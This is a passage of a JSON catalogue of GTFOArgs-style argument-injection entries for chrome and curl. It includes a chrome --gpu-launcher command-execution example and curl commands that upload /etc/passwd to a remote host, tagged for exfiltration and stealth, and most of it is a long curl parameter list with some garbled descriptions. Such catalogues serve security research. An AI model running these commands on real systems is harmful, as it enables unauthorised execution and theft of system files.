    "techniques": [
      "execution",
      "discovery",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# chrome\n\nGTFOArgs entry for chrome. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-chrome.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via chrome",
    "examples": [
      {
        "description": "The `--gpu-launcher` flag executes a command. This is particularly relevant for Electron applications.",
        "command": "chrome '--gpu-launcher=\"id>/tmp/foo\"' "
      }
    ],
    "execution": {
      "template": "chrome",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-chrome",
    "name": "chrome",
    "namespace": "argument:injection:chrome",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/chrome/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# curl\n\nGTFOArgs entry for curl. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-curl.md",
    "capabilities": [
      "network.transfer.upload",
      "system.file.read",
      "network.transfer.download",
      "system.file.write"
    ],
    "description": "Argument injection via curl",
    "examples": [
      {
        "description": "Send a local file to a remote server in a POST request.",
        "command": "curl --data @/etc/passwd http://website.com/ "
      },
      {
        "description": "Send a local file to a remote server in a POST request.",
        "command": "curl -F 'var=@/etc/passwd' http://website.com/ "
      },
      {
        "description": "Send a local file to a remote server in a POST request.",
        "command": "curl --upload-file /etc/passwd http://website.com/ "
      },
      {
        "description": "Read local files by using the file:// schema.",
        "command": "curl file:///etc/passwd "
      },
      {
        "description": "Downloads a file to a destination.",
        "command": "curl http://website.com/ -o /tmp/ "
      },
      {
        "description": "Uses file-read to effectively copy files.",
        "command": "curl file:///etc/passwd -o /tmp/ "
      }
    ],
    "execution": {
      "template": "curl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "stealth"
    ],
    "id": "argument-injection-curl",
    "name": "curl",
    "namespace": "argument:injection:curl",
    "parameters": [
      {
        "name": "abstract-unix-socket",
        "template_key": "abstract-unix-socket",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "--alt-svc <filename> Enable alt-svc with this cache file --anyauth Pick any authentication method",
        "aliases": [
          "--abstract-unix-socket <path>"
        ],
        "flag": "--abstract-unix-socket"
      },
      {
        "name": "alt_svc",
        "type": "boolean",
        "required": false,
        "description": "with this cache file",
        "aliases": [
          "--alt-svc",
          "-svc"
        ],
        "flag": "-svc"
      },
      {
        "name": "anyauth",
        "type": "boolean",
        "required": false,
        "description": "Pick any authentication method",
        "aliases": [
          "--anyauth"
        ],
        "flag": "--anyauth"
      },
      {
        "name": "append",
        "template_key": "append",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Append to target file when uploading",
        "aliases": [
          "-a",
          "--append"
        ],
        "flag": "-a"
      },
      {
        "name": "aws-sigv4",
        "template_key": "aws-sigv4",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "--basic HTTP Basic Authentication --ca-native Load CA certs from the OS --cacert <file> CA certificate to verify peer against --capath <dir> CA directory to verify peer against",
        "aliases": [
          "--aws-sigv4 <provider1[:prvdr2[:reg[:srv]]]>"
        ],
        "flag": "--aws-sigv4"
      },
      {
        "name": "ca_native",
        "type": "boolean",
        "required": false,
        "description": "Load CA certs from the OS",
        "aliases": [
          "--ca-native"
        ],
        "flag": "--ca-native"
      },
      {
        "name": "cacert",
        "type": "boolean",
        "required": false,
        "description": "CA certificate to verify peer against",
        "aliases": [
          "--cacert"
        ],
        "flag": "--cacert"
      },
      {
        "name": "capath",
        "type": "boolean",
        "required": false,
        "description": "CA directory to verify peer against",
        "aliases": [
          "--capath"
        ],
        "flag": "--capath"
      },
      {
        "name": "cert",
        "template_key": "cert",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--cert-status Verify server cert status OCSP-staple --cert-type <type> Certificate type (DER/PEM/ENG/PROV/P12) --ciphers <list> TLS 1.2 (1.1, 1.0) ciphers to use --compressed Request compressed response --compressed-ssh Enable SSH compression",
        "aliases": [
          "-E",
          "--cert <certificate[:password]>"
        ],
        "flag": "-E"
      },
      {
        "name": "cert_status",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--cert-status",
          "-staple"
        ],
        "flag": "-staple"
      },
      {
        "name": "cert_type",
        "type": "boolean",
        "required": false,
        "description": "Certificate type (DER/PEM/ENG/PROV/P12)",
        "aliases": [
          "--cert-type"
        ],
        "flag": "--cert-type"
      },
      {
        "name": "ciphers",
        "type": "boolean",
        "required": false,
        "description": "TLS 1.2 (1.1, 1.0) ciphers to use",
        "aliases": [
          "--ciphers"
        ],
        "flag": "--ciphers"
      },
      {
        "name": "compressed",
        "type": "boolean",
        "required": false,
        "description": "Request compressed response",
        "aliases": [
          "--compressed"
        ],
        "flag": "--compressed"
      },
      {
        "name": "compressed_ssh",
        "type": "boolean",
        "required": false,
        "description": "Enable SSH compression",
        "aliases": [
          "--compressed-ssh"
        ],
        "flag": "--compressed-ssh"
      },
      {
        "name": "config",
        "template_key": "config",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Read config from a file",
        "aliases": [
          "-K",
          "--config <file>"
        ],
        "flag": "-K"
      },
      {
        "name": "connect-timeout",
        "template_key": "connect-timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum time allowed to connect",
        "aliases": [
          "--connect-timeout <seconds>"
        ],
        "flag": "--connect-timeout"
      },
      {
        "name": "connect-to",
        "template_key": "connect-to",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--connect-to <HOST1:PORT1:HOST2:PORT2>"
        ],
        "flag": "--connect-to"
      },
      {
        "name": "continue-at",
        "template_key": "continue-at",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Resumed transfer offset",
        "aliases": [
          "-C",
          "--continue-at <offset>"
        ],
        "flag": "-C"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send cookies from string/load from file",
        "aliases": [
          "-b",
          "--cookie <data|filename>"
        ],
        "flag": "-b"
      },
      {
        "name": "cookie-jar",
        "template_key": "cookie-jar",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Save cookies to <filename> after operation",
        "aliases": [
          "-c",
          "--cookie-jar <filename>"
        ],
        "flag": "-c"
      },
      {
        "name": "create-dirs",
        "template_key": "create-dirs",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Create necessary local directory hierarchy",
        "aliases": [
          "--create-dirs"
        ],
        "flag": "--create-dirs"
      },
      {
        "name": "create-file-mode",
        "template_key": "create-file-mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File mode for created files",
        "aliases": [
          "--create-file-mode <mode>"
        ],
        "flag": "--create-file-mode"
      },
      {
        "name": "crlf",
        "template_key": "crlf",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Convert LF to CRLF in upload",
        "aliases": [
          "--crlf"
        ],
        "flag": "--crlf"
      },
      {
        "name": "crlfile",
        "template_key": "crlfile",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Certificate Revocation list",
        "aliases": [
          "--crlfile <file>"
        ],
        "flag": "--crlfile"
      },
      {
        "name": "curves",
        "template_key": "curves",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "(EC) TLS key exchange algorithms to request",
        "aliases": [
          "--curves <list>"
        ],
        "flag": "--curves"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST data",
        "aliases": [
          "-d",
          "--data <data>"
        ],
        "flag": "-d"
      },
      {
        "name": "data-ascii",
        "template_key": "data-ascii",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST ASCII data",
        "aliases": [
          "--data-ascii <data>"
        ],
        "flag": "--data-ascii"
      },
      {
        "name": "data-binary",
        "template_key": "data-binary",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST binary data",
        "aliases": [
          "--data-binary <data>"
        ],
        "flag": "--data-binary"
      },
      {
        "name": "data-raw",
        "template_key": "data-raw",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST data, '@' allowed",
        "aliases": [
          "--data-raw <data>"
        ],
        "flag": "--data-raw"
      },
      {
        "name": "data-urlencode",
        "template_key": "data-urlencode",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST data URL encoded",
        "aliases": [
          "--data-urlencode <data>"
        ],
        "flag": "--data-urlencode"
      },
      {
        "name": "delegation",
        "template_key": "delegation",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "GSS-API delegation permission",
        "aliases": [
          "--delegation <LEVEL>"
        ],
        "flag": "--delegation"
      },
      {
        "name": "digest",
        "template_key": "digest",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP Digest Authentication",
        "aliases": [
          "--digest"
        ],
        "flag": "--digest"
      },
      {
        "name": "disable",
        "template_key": "disable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable .curlrc",
        "aliases": [
          "-q",
          "--disable"
        ],
        "flag": "-q"
      },
      {
        "name": "disable-eprt",
        "template_key": "disable-eprt",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Inhibit using EPRT or LPRT",
        "aliases": [
          "--disable-eprt"
        ],
        "flag": "--disable-eprt"
      },
      {
        "name": "disable-epsv",
        "template_key": "disable-epsv",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Inhibit using EPSV",
        "aliases": [
          "--disable-epsv"
        ],
        "flag": "--disable-epsv"
      },
      {
        "name": "disallow-username-in-url",
        "template_key": "disallow-username-in-url",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disallow username in URL",
        "aliases": [
          "--disallow-username-in-url"
        ],
        "flag": "--disallow-username-in-url"
      },
      {
        "name": "dns-interface",
        "template_key": "dns-interface",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Interface to use for DNS requests",
        "aliases": [
          "--dns-interface <interface>"
        ],
        "flag": "--dns-interface"
      },
      {
        "name": "dns-ipv4-addr",
        "template_key": "dns-ipv4-addr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IPv4 address to use for DNS requests",
        "aliases": [
          "--dns-ipv4-addr <address>"
        ],
        "flag": "--dns-ipv4-addr"
      },
      {
        "name": "dns-ipv6-addr",
        "template_key": "dns-ipv6-addr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IPv6 address to use for DNS requests",
        "aliases": [
          "--dns-ipv6-addr <address>"
        ],
        "flag": "--dns-ipv6-addr"
      },
      {
        "name": "dns-servers",
        "template_key": "dns-servers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "DNS server addrs to use",
        "aliases": [
          "--dns-servers <addresses>"
        ],
        "flag": "--dns-servers"
      },
      {
        "name": "doh-cert-status",
        "template_key": "doh-cert-status",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Verify DoH server cert status OCSP-staple",
        "aliases": [
          "--doh-cert-status"
        ],
        "flag": "--doh-cert-status"
      },
      {
        "name": "doh-insecure",
        "template_key": "doh-insecure",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow insecure DoH server connections",
        "aliases": [
          "--doh-insecure"
        ],
        "flag": "--doh-insecure"
      },
      {
        "name": "doh-url",
        "template_key": "doh-url",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Resolve hostnames over DoH",
        "aliases": [
          "--doh-url <URL>"
        ],
        "flag": "--doh-url"
      },
      {
        "name": "dump-ca-embed",
        "template_key": "dump-ca-embed",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Write the embedded CA bundle to standard output",
        "aliases": [
          "--dump-ca-embed"
        ],
        "flag": "--dump-ca-embed"
      },
      {
        "name": "dump-header",
        "template_key": "dump-header",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Write the received headers to <filename>",
        "aliases": [
          "-D",
          "--dump-header <filename>"
        ],
        "flag": "-D"
      },
      {
        "name": "ech",
        "template_key": "ech",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Configure ECH",
        "aliases": [
          "--ech <config>"
        ],
        "flag": "--ech"
      },
      {
        "name": "egd-file",
        "template_key": "egd-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "EGD socket path for random data",
        "aliases": [
          "--egd-file <file>"
        ],
        "flag": "--egd-file"
      },
      {
        "name": "engine",
        "template_key": "engine",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Crypto engine to use",
        "aliases": [
          "--engine <name>"
        ],
        "flag": "--engine"
      },
      {
        "name": "etag-compare",
        "template_key": "etag-compare",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Load ETag from file",
        "aliases": [
          "--etag-compare <file>"
        ],
        "flag": "--etag-compare"
      },
      {
        "name": "etag-save",
        "template_key": "etag-save",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Parse incoming ETag and save to a file",
        "aliases": [
          "--etag-save <file>"
        ],
        "flag": "--etag-save"
      },
      {
        "name": "expect100-timeout",
        "template_key": "expect100-timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-c",
          "--expect100-timeout <seconds>"
        ],
        "flag": "-c"
      },
      {
        "name": "fail",
        "template_key": "fail",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Fail fast with no output on HTTP errors",
        "aliases": [
          "-f",
          "--fail"
        ],
        "flag": "-f"
      },
      {
        "name": "fail-early",
        "template_key": "fail-early",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Fail on first transfer error",
        "aliases": [
          "--fail-early"
        ],
        "flag": "--fail-early"
      },
      {
        "name": "fail-with-body",
        "template_key": "fail-with-body",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Fail on HTTP errors but save the body",
        "aliases": [
          "--fail-with-body"
        ],
        "flag": "--fail-with-body"
      },
      {
        "name": "false-start",
        "template_key": "false-start",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable TLS False Start",
        "aliases": [
          "--false-start"
        ],
        "flag": "--false-start"
      },
      {
        "name": "follow",
        "template_key": "follow",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Follow redirects per spec",
        "aliases": [
          "--follow"
        ],
        "flag": "--follow"
      },
      {
        "name": "form",
        "template_key": "form",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify multipart MIME data",
        "aliases": [
          "-F",
          "--form <name"
        ],
        "flag": "-F"
      },
      {
        "name": "form-escape",
        "template_key": "form-escape",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Escape form fields using backslash",
        "aliases": [
          "--form-escape"
        ],
        "flag": "--form-escape"
      },
      {
        "name": "form-string",
        "template_key": "form-string",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify multipart MIME data",
        "aliases": [
          "--form-string <name"
        ],
        "flag": "--form-string"
      },
      {
        "name": "ftp-account",
        "template_key": "ftp-account",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Account data string",
        "aliases": [
          "--ftp-account <data>"
        ],
        "flag": "--ftp-account"
      },
      {
        "name": "ftp-alternative-to-user",
        "template_key": "ftp-alternative-to-user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--ftp-create-dirs Create the remote dirs if not present --ftp-method <method> Control CWD usage --ftp-pasv Send PASV/EPSV instead of PORT",
        "aliases": [
          "--ftp-alternative-to-user <command>"
        ],
        "flag": "--ftp-alternative-to-user"
      },
      {
        "name": "ftp-port",
        "template_key": "ftp-port",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send PORT instead of PASV",
        "aliases": [
          "-P",
          "--ftp-port <address>"
        ],
        "flag": "-P"
      },
      {
        "name": "ftp-pret",
        "template_key": "ftp-pret",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send PRET before PASV",
        "aliases": [
          "--ftp-pret"
        ],
        "flag": "--ftp-pret"
      },
      {
        "name": "ftp-skip-pasv-ip",
        "template_key": "ftp-skip-pasv-ip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Skip the IP address for PASV",
        "aliases": [
          "--ftp-skip-pasv-ip"
        ],
        "flag": "--ftp-skip-pasv-ip"
      },
      {
        "name": "ftp-ssl-ccc",
        "template_key": "ftp-ssl-ccc",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send CCC after authenticating",
        "aliases": [
          "--ftp-ssl-ccc"
        ],
        "flag": "--ftp-ssl-ccc"
      },
      {
        "name": "ftp-ssl-ccc-mode",
        "template_key": "ftp-ssl-ccc-mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--ftp-ssl-control Require TLS for login, clear for transfer",
        "aliases": [
          "--ftp-ssl-ccc-mode <active/passive>"
        ],
        "flag": "--ftp-ssl-ccc-mode"
      },
      {
        "name": "ftp_create_dirs",
        "type": "boolean",
        "required": false,
        "description": "Create the remote dirs if not present",
        "aliases": [
          "--ftp-create-dirs"
        ],
        "flag": "--ftp-create-dirs"
      },
      {
        "name": "ftp_method",
        "type": "boolean",
        "required": false,
        "description": "Control CWD usage",
        "aliases": [
          "--ftp-method"
        ],
        "flag": "--ftp-method"
      },
      {
        "name": "ftp_pasv",
        "type": "boolean",
        "required": false,
        "description": "Send PASV/EPSV instead of PORT",
        "aliases": [
          "--ftp-pasv"
        ],
        "flag": "--ftp-pasv"
      },
      {
        "name": "ftp_ssl_control",
        "type": "boolean",
        "required": false,
        "description": "Require TLS for login, clear for transfer",
        "aliases": [
          "--ftp-ssl-control"
        ],
        "flag": "--ftp-ssl-control"
      },
      {
        "name": "get",
        "template_key": "get",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Put the post data in the URL and use GET",
        "aliases": [
          "-G",
          "--get"
        ],
        "flag": "-G"
      },
      {
        "name": "globoff",
        "template_key": "globoff",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Disable URL globbing with {} and []",
        "aliases": [
          "-g",
          "--globoff"
        ],
        "flag": "-g"
      },
      {
        "name": "happy-eyeballs-timeout-ms",
        "template_key": "happy-eyeballs-timeout-ms",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--haproxy-clientip <ip> Set address in HAProxy PROXY --haproxy-protocol Send HAProxy PROXY protocol v1 header",
        "aliases": [
          "--happy-eyeballs-timeout-ms <ms>"
        ],
        "flag": "--happy-eyeballs-timeout-ms"
      },
      {
        "name": "haproxy_clientip",
        "type": "boolean",
        "required": false,
        "description": "Set address in HAProxy PROXY",
        "aliases": [
          "--haproxy-clientip"
        ],
        "flag": "--haproxy-clientip"
      },
      {
        "name": "haproxy_protocol",
        "type": "boolean",
        "required": false,
        "description": "Send HAProxy PROXY protocol v1 header",
        "aliases": [
          "--haproxy-protocol"
        ],
        "flag": "--haproxy-protocol"
      },
      {
        "name": "head",
        "template_key": "head",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show document info only",
        "aliases": [
          "-I",
          "--head"
        ],
        "flag": "-I"
      },
      {
        "name": "header",
        "template_key": "header",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Pass custom header(s) to server",
        "aliases": [
          "-H",
          "--header <header/@file>"
        ],
        "flag": "-H"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Get help for commands",
        "aliases": [
          "-h",
          "--help <subject>"
        ],
        "flag": "-h"
      },
      {
        "name": "hostpubmd5",
        "template_key": "hostpubmd5",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Acceptable MD5 hash of host public key",
        "aliases": [
          "--hostpubmd5 <md5>"
        ],
        "flag": "--hostpubmd5"
      },
      {
        "name": "hostpubsha256",
        "template_key": "hostpubsha256",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Acceptable SHA256 hash of host public key",
        "aliases": [
          "--hostpubsha256 <sha256>"
        ],
        "flag": "--hostpubsha256"
      },
      {
        "name": "hsts",
        "template_key": "hsts",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable HSTS with this cache file",
        "aliases": [
          "--hsts <filename>"
        ],
        "flag": "--hsts"
      },
      {
        "name": "http0",
        "template_key": "http0",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Allow HTTP/0.9 responses",
        "aliases": [
          "--http0"
        ],
        "flag": "--http0"
      },
      {
        "name": "http1",
        "template_key": "http1",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/1.0",
        "aliases": [
          "-0",
          "--http1"
        ],
        "flag": "-0"
      },
      {
        "name": "http1-2",
        "template_key": "http1-2",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/1.1",
        "aliases": [
          "--http1"
        ],
        "flag": "--http1"
      },
      {
        "name": "http2",
        "template_key": "http2",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/2",
        "aliases": [
          "--http2"
        ],
        "flag": "--http2"
      },
      {
        "name": "http2-prior-knowledge",
        "template_key": "http2-prior-knowledge",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/2 without HTTP/1.1 Upgrade",
        "aliases": [
          "--http2-prior-knowledge"
        ],
        "flag": "--http2-prior-knowledge"
      },
      {
        "name": "http3",
        "template_key": "http3",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/3",
        "aliases": [
          "--http3"
        ],
        "flag": "--http3"
      },
      {
        "name": "http3-only",
        "template_key": "http3-only",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/3 only",
        "aliases": [
          "--http3-only"
        ],
        "flag": "--http3-only"
      },
      {
        "name": "ignore-content-length",
        "template_key": "ignore-content-length",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore the size of the remote resource",
        "aliases": [
          "--ignore-content-length"
        ],
        "flag": "--ignore-content-length"
      },
      {
        "name": "insecure",
        "template_key": "insecure",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow insecure server connections",
        "aliases": [
          "-k",
          "--insecure"
        ],
        "flag": "-k"
      },
      {
        "name": "interface",
        "template_key": "interface",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use network interface",
        "aliases": [
          "--interface <name>"
        ],
        "flag": "--interface"
      },
      {
        "name": "ip-tos",
        "template_key": "ip-tos",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set IP Type of Service or Traffic Class",
        "aliases": [
          "--ip-tos <string>"
        ],
        "flag": "--ip-tos"
      },
      {
        "name": "ipfs-gateway",
        "template_key": "ipfs-gateway",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Gateway for IPFS",
        "aliases": [
          "--ipfs-gateway <URL>"
        ],
        "flag": "--ipfs-gateway"
      },
      {
        "name": "ipv4",
        "template_key": "ipv4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Resolve names to IPv4 addresses",
        "aliases": [
          "-4",
          "--ipv4"
        ],
        "flag": "-4"
      },
      {
        "name": "ipv6",
        "template_key": "ipv6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Resolve names to IPv6 addresses",
        "aliases": [
          "-6",
          "--ipv6"
        ],
        "flag": "-6"
      },
      {
        "name": "json",
        "template_key": "json",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST JSON",
        "aliases": [
          "--json <data>"
        ],
        "flag": "--json"
      },
      {
        "name": "junk-session-cookies",
        "template_key": "junk-session-cookies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore session cookies read from file",
        "aliases": [
          "-j",
          "--junk-session-cookies"
        ],
        "flag": "-j"
      },
      {
        "name": "keepalive-cnt",
        "template_key": "keepalive-cnt",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum number of keepalive probes",
        "aliases": [
          "--keepalive-cnt <integer>"
        ],
        "flag": "--keepalive-cnt"
      },
      {
        "name": "keepalive-time",
        "template_key": "keepalive-time",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Interval time for keepalive probes",
        "aliases": [
          "--keepalive-time <seconds>"
        ],
        "flag": "--keepalive-time"
      },
      {
        "name": "key",
        "template_key": "key",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Private key filename",
        "aliases": [
          "--key <key>"
        ],
        "flag": "--key"
      },
      {
        "name": "key-type",
        "template_key": "key-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Private key file type (DER/PEM/ENG)",
        "aliases": [
          "--key-type <type>"
        ],
        "enum": [
          "DER",
          "PEM",
          "ENG"
        ],
        "flag": "--key-type"
      },
      {
        "name": "knownhosts",
        "template_key": "knownhosts",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Specify knownhosts path",
        "aliases": [
          "--knownhosts <file>"
        ],
        "flag": "--knownhosts"
      },
      {
        "name": "krb",
        "template_key": "krb",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Enable Kerberos with security <level>",
        "aliases": [
          "--krb <level>"
        ],
        "flag": "--krb"
      },
      {
        "name": "libcurl",
        "template_key": "libcurl",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Generate libcurl code for this command line",
        "aliases": [
          "--libcurl <file>"
        ],
        "flag": "--libcurl"
      },
      {
        "name": "limit-rate",
        "template_key": "limit-rate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Limit transfer speed to RATE",
        "aliases": [
          "--limit-rate <speed>"
        ],
        "flag": "--limit-rate"
      },
      {
        "name": "list-only",
        "template_key": "list-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List only mode",
        "aliases": [
          "-l",
          "--list-only"
        ],
        "flag": "-l"
      },
      {
        "name": "local-port",
        "template_key": "local-port",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Use a local port number within RANGE",
        "aliases": [
          "--local-port <range>"
        ],
        "flag": "--local-port"
      },
      {
        "name": "location",
        "template_key": "location",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Follow redirects",
        "aliases": [
          "-L",
          "--location"
        ],
        "flag": "-L"
      },
      {
        "name": "location-trusted",
        "template_key": "location-trusted",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "As --location, but send secrets to other hosts",
        "aliases": [
          "--location-trusted"
        ],
        "flag": "--location-trusted"
      },
      {
        "name": "login-options",
        "template_key": "login-options",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Server login options",
        "aliases": [
          "--login-options <options>"
        ],
        "flag": "--login-options"
      },
      {
        "name": "mail-auth",
        "template_key": "mail-auth",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Originator address of the original email",
        "aliases": [
          "--mail-auth <address>"
        ],
        "flag": "--mail-auth"
      },
      {
        "name": "mail-from",
        "template_key": "mail-from",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Mail from this address",
        "aliases": [
          "--mail-from <address>"
        ],
        "flag": "--mail-from"
      },
      {
        "name": "mail-rcpt",
        "template_key": "mail-rcpt",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Mail to this address",
        "aliases": [
          "--mail-rcpt <address>"
        ],
        "flag": "--mail-rcpt"
      },
      {
        "name": "mail-rcpt-allowfails",
        "template_key": "mail-rcpt-allowfails",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow RCPT TO command to fail",
        "aliases": [
          "--mail-rcpt-allowfails"
        ],
        "flag": "--mail-rcpt-allowfails"
      },
      {
        "name": "manual",
        "template_key": "manual",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the full manual",
        "aliases": [
          "-M",
          "--manual"
        ],
        "flag": "-M"
      },
      {
        "name": "max-filesize",
        "template_key": "max-filesize",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum file size to download",
        "aliases": [
          "--max-filesize <bytes>"
        ],
        "flag": "--max-filesize"
      },
      {
        "name": "max-redirs",
        "template_key": "max-redirs",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum number of redirects allowed",
        "aliases": [
          "--max-redirs <num>"
        ],
        "flag": "--max-redirs"
      },
      {
        "name": "max-time",
        "template_key": "max-time",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum time allowed for transfer",
        "aliases": [
          "-m",
          "--max-time <seconds>"
        ],
        "flag": "-m"
      },
      {
        "name": "metalink",
        "template_key": "metalink",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Process given URLs as metalink XML file",
        "aliases": [
          "--metalink"
        ],
        "flag": "--metalink"
      },
      {
        "name": "mptcp",
        "template_key": "mptcp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable Multipath TCP",
        "aliases": [
          "--mptcp"
        ],
        "flag": "--mptcp"
      },
      {
        "name": "negotiate",
        "template_key": "negotiate",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP Negotiate (SPNEGO) authentication",
        "aliases": [
          "--negotiate"
        ],
        "flag": "--negotiate"
      },
      {
        "name": "netrc",
        "template_key": "netrc",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Must read .netrc for username and password",
        "aliases": [
          "-n",
          "--netrc"
        ],
        "flag": "-n"
      },
      {
        "name": "netrc-file",
        "template_key": "netrc-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify FILE for netrc",
        "aliases": [
          "--netrc-file <filename>"
        ],
        "flag": "--netrc-file"
      },
      {
        "name": "netrc-optional",
        "template_key": "netrc-optional",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use either .netrc or URL",
        "aliases": [
          "--netrc-optional"
        ],
